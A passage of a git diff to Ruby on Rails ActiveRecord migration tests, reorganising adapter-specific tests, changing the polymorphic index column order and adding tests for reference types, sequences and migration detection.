+          assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
         end
-
-        assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
       end
 
       def test_creates_index_for_existing_table
@@ -87,16 +86,16 @@ module ActiveRecord
         assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
       end
 
-      def test_creates_polymorphic_index_for_existing_table
-        return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
-        connection.create_table table_name
-        connection.change_table table_name do |t|
-          t.references :foo, :polymorphic => true, :index => true
-        end
+      unless current_adapter? :OracleAdapter
+        def test_creates_polymorphic_index_for_existing_table
+          connection.create_table table_name
+          connection.change_table table_name do |t|
+            t.references :foo, :polymorphic => true, :index => true
+          end
 
-        assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+          assert connection.index_exists?(table_name, [:foo_type, :foo_id], name: :index_testings_on_foo_type_and_foo_id)
+        end
       end
-
     end
   end
 end
diff --git a/activerecord/test/cases/migration/references_statements_test.rb b/activerecord/test/cases/migration/references_statements_test.rb
index e9545f2cce..988bd9c89f 100644
--- a/activerecord/test/cases/migration/references_statements_test.rb
+++ b/activerecord/test/cases/migration/references_statements_test.rb
@@ -42,7 +42,7 @@ module ActiveRecord
 
       def test_creates_polymorphic_index
         add_reference table_name, :taggable, polymorphic: true, index: true
-        assert index_exists?(table_name, [:taggable_id, :taggable_type])
+        assert index_exists?(table_name, [:taggable_type, :taggable_id])
       end
 
       def test_creates_reference_type_column_with_default
@@ -55,6 +55,11 @@ module ActiveRecord
         assert index_exists?(table_name, :tag_id, name: 'index_taggings_on_tag_id')
       end
 
+      def test_creates_reference_id_with_specified_type
+        add_reference table_name, :user, type: :string
+        assert column_exists?(table_name, :user_id, :string)
+      end
+
       def test_deletes_reference_id_column
         remove_reference table_name, :supplier
         assert_not column_exists?(table_name, :supplier_id, :integer)
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
index 22dbd7c38b..3eef308428 100644
--- a/activerecord/test/cases/migration/rename_table_test.rb
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -19,71 +19,76 @@ module ActiveRecord
         super
       end
 
-      def test_rename_table_for_sqlite_should_work_with_reserved_words
-        renamed = false
-
-        skip "not supported" unless current_adapter?(:SQLite3Adapter)
-
-        add_column :test_models, :url, :string
-        connection.rename_table :references, :old_references
-        connection.rename_table :test_models, :references
-
-        renamed = true
-
-        # Using explicit id in insert for compatibility across all databases
-        connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
-        assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
-      ensure
-        return unless renamed
-        connection.rename_table :references, :test_models
-        connection.rename_table :old_references, :references
+      if current_adapter?(:SQLite3Adapter)
+        def test_rename_table_for_sqlite_should_work_with_reserved_words
+          renamed = false
+
+          add_column :test_models, :url, :string
+          connection.rename_table :references, :old_references
+          connection.rename_table :test_models, :references
+
+          renamed = true
+
+          # Using explicit id in insert for compatibility across all databases
+          connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
+          assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
+        ensure
+          return unless renamed
+          connection.rename_table :references, :test_models
+          connection.rename_table :old_references, :references
+        end
       end
 
-      def test_rename_table
-        rename_table :test_models, :octopi
+      unless current_adapter?(:FbAdapter) # Firebird cannot rename tables
+        def test_rename_table
+          rename_table :test_models, :octopi
 
-        # Using explicit id in insert for compatibility across all databases
-        connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
+          connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
 
-        connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
+          assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
+        end
 
-        connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+        def test_rename_table_with_an_index
+          add_index :test_models, :url
 
-        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
-      end
+          rename_table :test_models, :octopi
 
-      def test_rename_table_with_an_index
-        add_index :test_models, :url
+          connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
 
-        rename_table :test_models, :octopi
+          assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
+          index = connection.indexes(:octopi).first
+          assert index.columns.include?("url")
+          assert_equal 'index_octopi_on_url', index.name
+        end
 
-        # Using explicit id in insert for compatibility across all databases
-        connection.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
-        connection.execute "INSERT INTO octopi (#{connection.quote_column_name('id')}, #{connection.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')"
-        connection.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+        def test_rename_table_does_not_rename_custom_named_index
+          add_index :test_models, :url, name: 'special_url_idx'
 
-        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', connection.select_value("SELECT url FROM octopi WHERE id=1")
-        index = connection.indexes(:octopi).first
-        assert index.columns.include?("url")
-        assert_equal 'index_octopi_on_url', index.name
-      end
+          rename_table :test_models, :octopi
 
-      def test_rename_table_does_not_rename_custom_named_index
-        add_index :test_models, :url, name: 'special_url_idx'
-
-        rename_table :test_models, :octopi
-
-        assert_equal ['special_url_idx'], connection.indexes(:octopi).map(&:name)
+          assert_equal ['special_url_idx'], connection.indexes(:octopi).map(&:name)
+        end
       end
 
-      def test_rename_table_for_postgresql_should_also_rename_default_sequence
-        skip 'not supported' unless current_adapter?(:PostgreSQLAdapter)
-
-        rename_table :test_models, :octopi
-
-        pk, seq = connection.pk_and_sequence_for('octopi')
-
-        assert_equal "octopi_#{pk}_seq", seq
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_rename_table_for_postgresql_should_also_rename_default_sequence
+          rename_table :test_models, :octopi
+
+          pk, seq = connection.pk_and_sequence_for('octopi')
+
+          assert_equal ConnectionAdapters::PostgreSQL::Name.new("public", "octopi_#{pk}_seq"), seq
+        end
+
+        def test_renaming_table_doesnt_attempt_to_rename_non_existent_sequences
+          enable_extension!('uuid-ossp', connection)
+          connection.create_table :cats, id: :uuid
+          assert_nothing_raised { rename_table :cats, :felines }
+          assert connection.table_exists? :felines
+        ensure
+          disable_extension!('uuid-ossp', connection)
+          connection.drop_table :cats, if_exists: true
+          connection.drop_table :felines, if_exists: true
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/migration/table_and_index_test.rb b/activerecord/test/cases/migration/table_and_index_test.rb
index 8fd770abd1..24cba84a09 100644
--- a/activerecord/test/cases/migration/table_and_index_test.rb
+++ b/activerecord/test/cases/migration/table_and_index_test.rb
@@ -6,11 +6,11 @@ module ActiveRecord
       def test_add_schema_info_respects_prefix_and_suffix
         conn = ActiveRecord::Base.connection
 
-        conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+        conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name, if_exists: true)
         # Use shorter prefix and suffix as in Oracle database identifier cannot be larger than 30 characters
         ActiveRecord::Base.table_name_prefix = 'p_'
         ActiveRecord::Base.table_name_suffix = '_s'
-        conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+        conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name, if_exists: true)
 
         conn.initialize_schema_migrations_table
 
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index 931caff727..5f9fd5d527 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -5,13 +5,19 @@ require 'bigdecimal/util'
 require 'models/person'
 require 'models/topic'
 require 'models/developer'
+require 'models/computer'
 
 require MIGRATIONS_ROOT + "/valid/2_we_need_reminders"
 require MIGRATIONS_ROOT + "/rename/1_we_need_things"
 require MIGRATIONS_ROOT + "/rename/2_rename_things"
 require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
 
-class BigNumber < ActiveRecord::Base; end
+class BigNumber < ActiveRecord::Base
+  unless current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+    attribute :value_of_e, :integer
+  end
+  attribute :my_house_population, :integer
+end
 
 class Reminder < ActiveRecord::Base; end
 
@@ -28,12 +34,11 @@ class MigrationTest < ActiveRecord::TestCase
       Reminder.connection.drop_table(table) rescue nil
     end
     Reminder.reset_column_information
-    ActiveRecord::Migration.verbose = true
-    ActiveRecord::Migration.message_count = 0
+    @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
     ActiveRecord::Base.connection.schema_cache.clear!
   end
 
-  def teardown
+  teardown do
     ActiveRecord::Base.table_name_prefix = ""
     ActiveRecord::Base.table_name_suffix = ""
 
@@ -57,12 +62,15 @@ class MigrationTest < ActiveRecord::TestCase
     end
     Person.connection.remove_column("people", "first_name") rescue nil
     Person.connection.remove_column("people", "middle_name") rescue nil
-    Person.connection.add_column("people", "first_name", :string, :limit => 40)
+    Person.connection.add_column("people", "first_name", :string)
     Person.reset_column_information
+
+    ActiveRecord::Migration.verbose = @verbose_was
   end
 
   def test_migrator_versions
     migrations_path = MIGRATIONS_ROOT + "/valid"
+    old_path = ActiveRecord::Migrator.migrations_paths
     ActiveRecord::Migrator.migrations_paths = migrations_path
 
     ActiveRecord::Migrator.up(migrations_path)
@@ -74,13 +82,43 @@ class MigrationTest < ActiveRecord::TestCase
     assert_equal 0, ActiveRecord::Migrator.current_version
     assert_equal 3, ActiveRecord::Migrator.last_version
     assert_equal true, ActiveRecord::Migrator.needs_migration?
+
+    ActiveRecord::SchemaMigration.create!(:version => ActiveRecord::Migrator.last_version)
+    assert_equal true, ActiveRecord::Migrator.needs_migration?
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
   end
 
-  def test_create_table_with_force_true_does_not_drop_nonexisting_table
-    if Person.connection.table_exists?(:testings2)
-      Person.connection.drop_table :testings2
-    end
+  def test_migration_detection_without_schema_migration_table
+    ActiveRecord::Base.connection.drop_table 'schema_migrations', if_exists: true
+
+    migrations_path = MIGRATIONS_ROOT + "/valid"
+    old_path = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = migrations_path
+
+    assert_equal true, ActiveRecord::Migrator.needs_migration?
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+  end
+
+  def test_any_migrations
+    old_path = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/valid"
+
+    assert ActiveRecord::Migrator.any_migrations?
+
+    ActiveRecord::Migrator.migrations_paths = MIGRATIONS_ROOT + "/empty"
+
+    assert_not ActiveRecord::Migrator.any_migrations?
+  ensure
+    ActiveRecord::Migrator.migrations_paths = old_path
+  end
 
+  def test_migration_version
+    ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947)
+  end
+
+  def test_create_table_with_force_true_does_not_drop_nonexisting_table
     # using a copy as we need the drop_table method to
     # continue to work for the ensure block of the test
     temp_conn = Person.connection.dup
@@ -91,7 +129,7 @@ class MigrationTest < ActiveRecord::TestCase
       t.column :foo, :string
     end
   ensure
-    Person.connection.drop_table :testings2 rescue nil
+    Person.connection.drop_table :testings2, if_exists: true
   end
 
   def connection
@@ -120,6 +158,7 @@ class MigrationTest < ActiveRecord::TestCase
 
     assert !BigNumber.table_exists?
     GiveMeBigNumbers.up
+    BigNumber.reset_column_information
 
     assert BigNumber.create(
       :bank_balance => 1586.43,
@@ -230,160 +269,120 @@ class MigrationTest < ActiveRecord::TestCase
     assert migration.went_down, 'have not gone down'
   end
 
-  def test_migrator_one_up_with_exception_and_rollback
-    unless ActiveRecord::Base.connection.supports_ddl_transactions?
-      skip "not supported on #{ActiveRecord::Base.connection.class}"
-    end
+  if ActiveRecord::Base.connection.supports_ddl_transactions?
+    def test_migrator_one_up_with_exception_and_rollback
+      assert_no_column Person, :last_name
 
-    assert_no_column Person, :last_name
-
-    migration = Class.new(ActiveRecord::Migration) {
-      def version; 100 end
-      def migrate(x)
-        add_column "people", "last_name", :string
-        raise 'Something broke'
-      end
-    }.new
+      migration = Class.new(ActiveRecord::Migration) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise 'Something broke'
+        end
+      }.new
 
-    migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
 
-    e = assert_raise(StandardError) { migrator.migrate }
+      e = assert_raise(StandardError) { migrator.migrate }
 
-    assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+      assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
 
-    assert_no_column Person, :last_name,
-     "On error, the Migrator should revert schema changes but it did not."
-  end
-
-  def test_migrator_one_up_with_exception_and_rollback_using_run
-    unless ActiveRecord::Base.connection.supports_ddl_transactions?
-      skip "not supported on #{ActiveRecord::Base.connection.class}"
+      assert_no_column Person, :last_name,
+        "On error, the Migrator should revert schema changes but it did not."
     end
 
-    assert_no_column Person, :last_name
-
-    migration = Class.new(ActiveRecord::Migration) {
-      def version; 100 end
-      def migrate(x)
-        add_column "people", "last_name", :string
-        raise 'Something broke'
-      end
-    }.new
+    def test_migrator_one_up_with_exception_and_rollback_using_run
+      assert_no_column Person, :last_name
 
-    migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+      migration = Class.new(ActiveRecord::Migration) {
+        def version; 100 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise 'Something broke'
+        end
+      }.new
 
-    e = assert_raise(StandardError) { migrator.run }
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
 
-    assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
+      e = assert_raise(StandardError) { migrator.run }
 
-    assert_no_column Person, :last_name,
-      "On error, the Migrator should revert schema changes but it did not."
-  end
+      assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
 
-  def test_migration_without_transaction
-    unless ActiveRecord::Base.connection.supports_ddl_transactions?
-      skip "not supported on #{ActiveRecord::Base.connection.class}"
+      assert_no_column Person, :last_name,
+        "On error, the Migrator should revert schema changes but it did not."
     end
 
-    assert_no_column Person, :last_name
+    def test_migration_without_transaction
+      assert_no_column Person, :last_name
 
-    migration = Class.new(ActiveRecord::Migration) {
-      self.disable_ddl_transaction!
+      migration = Class.new(ActiveRecord::Migration) {
+        self.disable_ddl_transaction!
 
-      def version; 101 end
-      def migrate(x)
-        add_column "people", "last_name", :string
-        raise 'Something broke'
-      end
-    }.new
+        def version; 101 end
+        def migrate(x)
+          add_column "people", "last_name", :string
+          raise 'Something broke'
+        end
+      }.new
 
-    migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
-    e = assert_raise(StandardError) { migrator.migrate }
-    assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
+      migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
+      e = assert_raise(StandardError) { migrator.migrate }
+      assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
 
-    assert_column Person, :last_name,
-     "without ddl transactions, the Migrator should not rollback on error but it did."
-  ensure
-    Person.reset_column_information
-    if Person.column_names.include?('last_name')
-      Person.connection.remove_column('people', 'last_name')
+      assert_column Person, :last_name,
+        "without ddl transactions, the Migrator should not rollback on error but it did."
+    ensure
+      Person.reset_column_information
+      if Person.column_names.include?('last_name')
+        Person.connection.remove_column('people', 'last_name')
+      end
     end
   end
 
   def test_schema_migrations_table_name
+    original_schema_migrations_table_name = ActiveRecord::Migrator.schema_migrations_table_name
+
+    assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
     ActiveRecord::Base.table_name_prefix = "prefix_"
     ActiveRecord::Base.table_name_suffix = "_suffix"
     Reminder.reset_table_name
     assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+    ActiveRecord::Base.schema_migrations_table_name = "changed"
+    Reminder.reset_table_name
+    assert_equal "prefix_changed_suffix", ActiveRecord::Migrator.schema_migrations_table_name
     ActiveRecord::Base.table_name_prefix = ""
     ActiveRecord::Base.table_name_suffix = ""
     Reminder.reset_table_name
-    assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
-  end
-
-  def test_proper_table_name_on_migrator
-    assert_deprecated do
-      assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
-    end
-    assert_deprecated do
-      assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
-    end
-    assert_deprecated do
-      assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
-    end
-    Reminder.reset_table_name
-    assert_deprecated do
-      assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
-    end
-
-    # Use the model's own prefix/suffix if a model is given
-    ActiveRecord::Base.table_name_prefix = "ARprefix_"
-    ActiveRecord::Base.table_name_suffix = "_ARsuffix"
-    Reminder.table_name_prefix = 'prefix_'
-    Reminder.table_name_suffix = '_suffix'
-    Reminder.reset_table_name
-    assert_deprecated do
-      assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
-    end
-    Reminder.table_name_prefix = ''
-    Reminder.table_name_suffix = ''
-    Reminder.reset_table_name
-
-    # Use AR::Base's prefix/suffix if string or symbol is given
-    ActiveRecord::Base.table_name_prefix = "prefix_"
-    ActiveRecord::Base.table_name_suffix = "_suffix"
+    assert_equal "changed", ActiveRecord::Migrator.schema_migrations_table_name
+  ensure
+    ActiveRecord::Base.schema_migrations_table_name = original_schema_migrations_table_name
     Reminder.reset_table_name
-    assert_deprecated do
-      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
-    end
-    assert_deprecated do
-      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
-    end
   end
 
   def test_proper_table_name_on_migration
+    reminder_class = new_isolated_reminder_class
     migration = ActiveRecord::Migration.new
     assert_equal "table", migration.proper_table_name('table')
     assert_equal "table", migration.proper_table_name(:table)
-    assert_equal "reminders", migration.proper_table_name(Reminder)
-    Reminder.reset_table_name
-    assert_equal Reminder.table_name, migration.proper_table_name(Reminder)
+    assert_equal "reminders", migration.proper_table_name(reminder_class)
+    reminder_class.reset_table_name
+    assert_equal reminder_class.table_name, migration.proper_table_name(reminder_class)
 
     # Use the model's own prefix/suffix if a model is given
     ActiveRecord::Base.table_name_prefix = "ARprefix_"
     ActiveRecord::Base.table_name_suffix = "_ARsuffix"
-    Reminder.table_name_prefix = 'prefix_'
-    Reminder.table_name_suffix = '_suffix'
-    Reminder.reset_table_name
-    assert_equal "prefix_reminders_suffix", migration.proper_table_name(Reminder)
-    Reminder.table_name_prefix = ''
-    Reminder.table_name_suffix = ''
-    Reminder.reset_table_name
+    reminder_class.table_name_prefix = 'prefix_'
+    reminder_class.table_name_suffix = '_suffix'
+    reminder_class.reset_table_name
+    assert_equal "prefix_reminders_suffix", migration.proper_table_name(reminder_class)
+    reminder_class.table_name_prefix = ''
+    reminder_class.table_name_suffix = ''
+    reminder_class.reset_table_name
 
     # Use AR::Base's prefix/suffix if string or symbol is given
     ActiveRecord::Base.table_name_prefix = "prefix_"
     ActiveRecord::Base.table_name_suffix = "_suffix"
-    Reminder.reset_table_name
+    reminder_class.reset_table_name
     assert_equal "prefix_table_suffix", migration.proper_table_name('table', migration.table_name_options)
     assert_equal "prefix_table_suffix", migration.proper_table_name(:table, migration.table_name_options)
   end
@@ -395,6 +394,7 @@ class MigrationTest < ActiveRecord::TestCase
     Thing.reset_table_name
     Thing.reset_sequence_name
     WeNeedThings.up
+    Thing.reset_column_information
 
     assert Thing.create("content" => "hello world")
     assert_equal "hello world", Thing.first.content
@@ -414,6 +414,7 @@ class MigrationTest < ActiveRecord::TestCase
     ActiveRecord::Base.table_name_suffix = '_suffix'
     Reminder.reset_table_name
     Reminder.reset_sequence_name
+    Reminder.reset_column_information
     WeNeedReminders.up
     assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
     assert_equal "hello world", Reminder.first.content
@@ -425,8 +426,6 @@ class MigrationTest < ActiveRecord::TestCase
   end
 
   def test_create_table_with_binary_column
-    Person.connection.drop_table :binary_testings rescue nil
-
     assert_nothing_raised {
       Person.connection.create_table :binary_testings do |t|
         t.column "data", :binary, :null => false
@@ -438,73 +437,103 @@ class MigrationTest < ActiveRecord::TestCase
 
     assert_nil data_column.default
 
-    Person.connection.drop_table :binary_testings rescue nil
+    Person.connection.drop_table :binary_testings, if_exists: true
   end
 
-  def test_create_table_with_custom_sequence_name
-    skip "not supported" unless current_adapter? :OracleAdapter
+  unless mysql_enforcing_gtid_consistency?
+    def test_create_table_with_query
+      Person.connection.drop_table :table_from_query_testings rescue nil
+      Person.connection.create_table(:person, force: true)
 
-    # table name is 29 chars, the standard sequence name will
-    # be 33 chars and should be shortened
-    assert_nothing_raised do
-      begin
-        Person.connection.create_table :table_with_name_thats_just_ok do |t|
-          t.column :foo, :string, :null => false
-        end
-      ensure
-        Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
-      end
+      Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM person"
+
+      columns = Person.connection.columns(:table_from_query_testings)
+      assert_equal 1, columns.length
+      assert_equal "id", columns.first.name
+
+      Person.connection.drop_table :table_from_query_testings rescue nil
     end
 
-    # should be all good w/ a custom sequence name
-    assert_nothing_raised do
-      begin
-        Person.connection.create_table :table_with_name_thats_just_ok,
-                                       :sequence_name => 'suitably_short_seq' do |t|
-          t.column :foo, :string, :null => false
-        end
+    def test_create_table_with_query_from_relation
+      Person.connection.drop_table :table_from_query_testings rescue nil
+      Person.connection.create_table(:person, force: true)
 
-        Person.connection.execute("select suitably_short_seq.nextval from dual")
+      Person.connection.create_table :table_from_query_testings, as: Person.select(:id)
 
-      ensure
-        Person.connection.drop_table :table_with_name_thats_just_ok,
-                                     :sequence_name => 'suitably_short_seq' rescue nil
-      end
-    end
+      columns = Person.connection.columns(:table_from_query_testings)
+      assert_equal 1, columns.length
+      assert_equal "id", columns.first.name
 
-    # confirm the custom sequence got dropped
-    assert_raise(ActiveRecord::StatementInvalid) do
-      Person.connection.execute("select suitably_short_seq.nextval from dual")
+      Person.connection.drop_table :table_from_query_testings rescue nil
     end
   end
 
-  def test_out_of_range_limit_should_raise
-    skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+  if current_adapter? :OracleAdapter
+    def test_create_table_with_custom_sequence_name
+      # table name is 29 chars, the standard sequence name will
+      # be 33 chars and should be shortened
+      assert_nothing_raised do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok do |t|
+            t.column :foo, :string, :null => false
+          end
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
+        end
+      end
+
+      # should be all good w/ a custom sequence name
+      assert_nothing_raised do
+        begin
+          Person.connection.create_table :table_with_name_thats_just_ok,
+            :sequence_name => 'suitably_short_seq' do |t|
+            t.column :foo, :string, :null => false
+          end
+
+          Person.connection.execute("select suitably_short_seq.nextval from dual")
 
-    Person.connection.drop_table :test_limits rescue nil
-    assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
-      Person.connection.create_table :test_integer_limits, :force => true do |t|
-        t.column :bigone, :integer, :limit => 10
+        ensure
+          Person.connection.drop_table :table_with_name_thats_just_ok,
+            :sequence_name => 'suitably_short_seq' rescue nil
+        end
+      end
+
+      # confirm the custom sequence got dropped
+      assert_raise(ActiveRecord::StatementInvalid) do
+        Person.connection.execute("select suitably_short_seq.nextval from dual")
       end
     end
+  end
 
-    unless current_adapter?(:PostgreSQLAdapter)
-      assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
-        Person.connection.create_table :test_text_limits, :force => true do |t|
-          t.column :bigtext, :text, :limit => 0xfffffffff
+  if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+    def test_out_of_range_limit_should_raise
+      Person.connection.drop_table :test_limits rescue nil
+      assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
+        Person.connection.create_table :test_integer_limits, :force => true do |t|
+          t.column :bigone, :integer, :limit => 10
         end
       end
-    end
 
-    Person.connection.drop_table :test_limits rescue nil
+      unless current_adapter?(:PostgreSQLAdapter)
+        assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
+          Person.connection.create_table :test_text_limits, :force => true do |t|
+            t.column :bigtext, :text, :limit => 0xfffffffff
+          end
+        end
+      end
+
+      Person.connection.drop_table :test_limits rescue nil
+    end
   end
 
   protected
-    def with_env_tz(new_tz = 'US/Eastern')
-      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
-      yield
-    ensure
-      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+    # This is needed to isolate class_attribute assignments like `table_name_prefix`
+    # for each test case.
+    def new_isolated_reminder_class
+      Class.new(Reminder) {
+        def self.name; "Reminder"; end
+        def self.base_class; self; end
+      }
     end
 end
 
@@ -549,7 +578,7 @@ if ActiveRecord::Base.connection.supports_bulk_alter?
       Person.reset_sequence_name
     end
 
-    def teardown
+    teardown do
       Person.connection.drop_table(:delete_me) rescue nil
     end
 
@@ -560,13 +589,13 @@ if ActiveRecord::Base.connection.supports_bulk_alter?
           t.string :qualification, :experience
           t.integer :age, :default => 0
           t.date :birthdate
-          t.timestamps
+          t.timestamps null: true
         end
       end
 
       assert_equal 8, columns.size
       [:name, :qualification, :experience].each {|s| assert_equal :string, column(s).type }
-      assert_equal 0, column(:age).default
+      assert_equal '0', column(:age).default
     end
 
     def test_removing_columns
@@ -686,6 +715,8 @@ if ActiveRecord::Base.connection.supports_bulk_alter?
 end
 
 class CopyMigrationsTest < ActiveRecord::TestCase
+  include ActiveSupport::Testing::Stream
+
   def setup
   end
 
@@ -701,8 +732,8 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
     copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
-    assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
-    assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
     assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
 
     expected = "# This migration comes from bukkits (originally 1)"
@@ -725,10 +756,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
     sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
     ActiveRecord::Migration.copy(@migrations_path, sources)
-    assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
-    assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
-    assert File.exists?(@migrations_path + "/6_create_articles.omg.rb")
-    assert File.exists?(@migrations_path + "/7_create_comments.omg.rb")
+    assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+    assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+    assert File.exist?(@migrations_path + "/6_create_articles.omg.rb")
+    assert File.exist?(@migrations_path + "/7_create_comments.omg.rb")
 
     files_count = Dir[@migrations_path + "/*.rb"].length
     ActiveRecord::Migration.copy(@migrations_path, sources)
@@ -741,10 +772,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     @migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+    travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
       copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
-      assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
-      assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+      assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
       expected = [@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb",
                   @migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb"]
       assert_equal expected, copied.map(&:filename)
@@ -766,12 +797,12 @@ class CopyMigrationsTest < ActiveRecord::TestCase
     sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
     sources[:omg]     = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
 
-    Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
